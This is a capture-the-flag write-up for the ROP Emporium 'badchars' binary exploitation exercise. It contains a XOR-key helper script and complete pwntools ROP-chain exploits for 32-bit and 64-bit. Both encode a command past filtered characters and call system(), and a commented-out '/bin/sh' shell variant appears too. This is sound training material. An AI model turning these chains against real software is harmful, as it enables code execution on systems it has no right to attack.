badchars

Analysis

So in this case we have a binary as usual with input which overflows and get us the control for EIP (We wont' be discussing the getting offset part, as that has been discussed multiple times in the previous write-ups). However, in this case, there are certain characters that we can not input, else the binary won't run and will stop the execution in the middle.

$ ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> 

So we can not input many essential characters that we usually do to read the flag.txt file of the system. So in this case, the hint was to use XOR function to load our XORed string into memory as done in write4 and then XOR it again to get the original string back, thus avoiding any bad characters while proving input to the program.

So the procedure we'll follow will be to first load the XORed string into memory using gadgets, then XOR the string again with gadgets to get the desired string back and then call system with parameters to get the flag.

I created a helper script to get all the characters that can be used to XOR the string that won't contain the bad characters even after being XORed.

import string

badchars = [" ", "b", "i", "c", "/", "f", "n", "s"]
flag_text = "/bin/cat ./flag.txt;"

all_letters = set(string.ascii_letters).union(set(string.punctuation)) 
valid_xor = all_letters - set(badchars)

for val in valid_xor:
	sample = ''.join([chr(ord(ch) ^ ord(val)) for ch in flag_text])
	if not set(sample).intersection(set(badchars)):
		print "XOR value = ", val

32 bit

from pwn import *

## ---------------------------- ROP
## 0x08048896: pop ebx; pop ecx; ret;
## 0x08048890: xor byte ptr [ebx], cl; ret;
## 0x08048893: mov dword ptr [edi], esi; ret;
## 0x08048899: pop esi; pop edi; ret;

data_section = 			0x0804a038
load_chunk   =			0x08048899
store_chunk  =			0x08048893
load_xor_val =			0x08048896
xor_vals 	 = 			0x08048890
system 		 =			0x080484e0

rop_chain = []
flag_text = "cat flag.txt"
# flag_text = "/bin/sh;echo"
xor_val = "D"

def get_hex_arr():
	param = ''.join([chr(ord(ch) ^ ord(xor_val)) for ch in flag_text])
	# print param
	arr = re.findall('.{4}', param)
	return [e[::-1].encode("hex") for e in arr]


## Load the string into the memory
ptr = 0
for chunk in get_hex_arr():
	rop_chain.append(p32(load_chunk))
	rop_chain.append(p32(int(chunk, 16)))
	rop_chain.append(p32(data_section + ptr))
	rop_chain.append(p32(store_chunk))
	ptr += 4

## XOR the stored string byte by byte
for ptr in range(0, len(flag_text)):
	rop_chain.append(p32(load_xor_val))
	rop_chain.append(p32(data_section + ptr))
	rop_chain.append(p32(ord(xor_val)))
	rop_chain.append(p32(xor_vals))

print "A"*44 + ''.join(rop_chain) + p32(system) + "JUNK" + p32(data_section)

64 bit

from pwn import *

## ---------------------------- ROP
## 0x400b34: mov qword ptr [r13], r12; ret;
## 0x400b3b: pop r12; pop r13; ret;
## 0x400b40: pop r14; pop r15; ret;
## 0x400b30: xor byte ptr [r15], r14b; ret;
## 0x400b39: pop rdi; ret;

data_section = 			0x601080
load_chunk   =			0x400b3b
store_chunk  =			0x400b34
load_xor_val =			0x400b40
xor_vals 	 = 			0x400b30
system 		 =			0x4006f0
pop_rdi 	 =			0x400b39

rop_chain = []
badchars = [" ", "b", "i", "c", "/", "f", "n", "s"]
flag_text = "cat flag.txt\x00\x00\x00\x00"
# flag_text = "/bin/sh;echo"
xor_val = "&"

def get_hex_arr():
	param = ''.join([chr(ord(ch) ^ ord(xor_val)) if ch in badchars else ch for ch in flag_text])
	differences = [i for i in range(len(flag_text)) if flag_text[i] != param[i]]
	arr = re.findall('.{8}', param)
	return [e[::-1].encode("hex") for e in arr], differences

chunks, diff_idx = get_hex_arr()

## Load the string into the memory
ptr = 0
for chunk in chunks:
	rop_chain.append(p64(load_chunk))
	rop_chain.append(p64(int(chunk, 16)))
	rop_chain.append(p64(data_section + ptr))
	rop_chain.append(p64(store_chunk))
	ptr += 8

## XOR the stored string byte by byte
for ptr in diff_idx:
	rop_chain.append(p64(load_xor_val))
	rop_chain.append(p64(ord(xor_val)))
	rop_chain.append(p64(data_section + ptr))
	rop_chain.append(p64(xor_vals))

rop_chain.append(p64(pop_rdi))
rop_chain.append(p64(data_section))

print "A"*40 + ''.join(rop_chain) + p64(system)

Last updated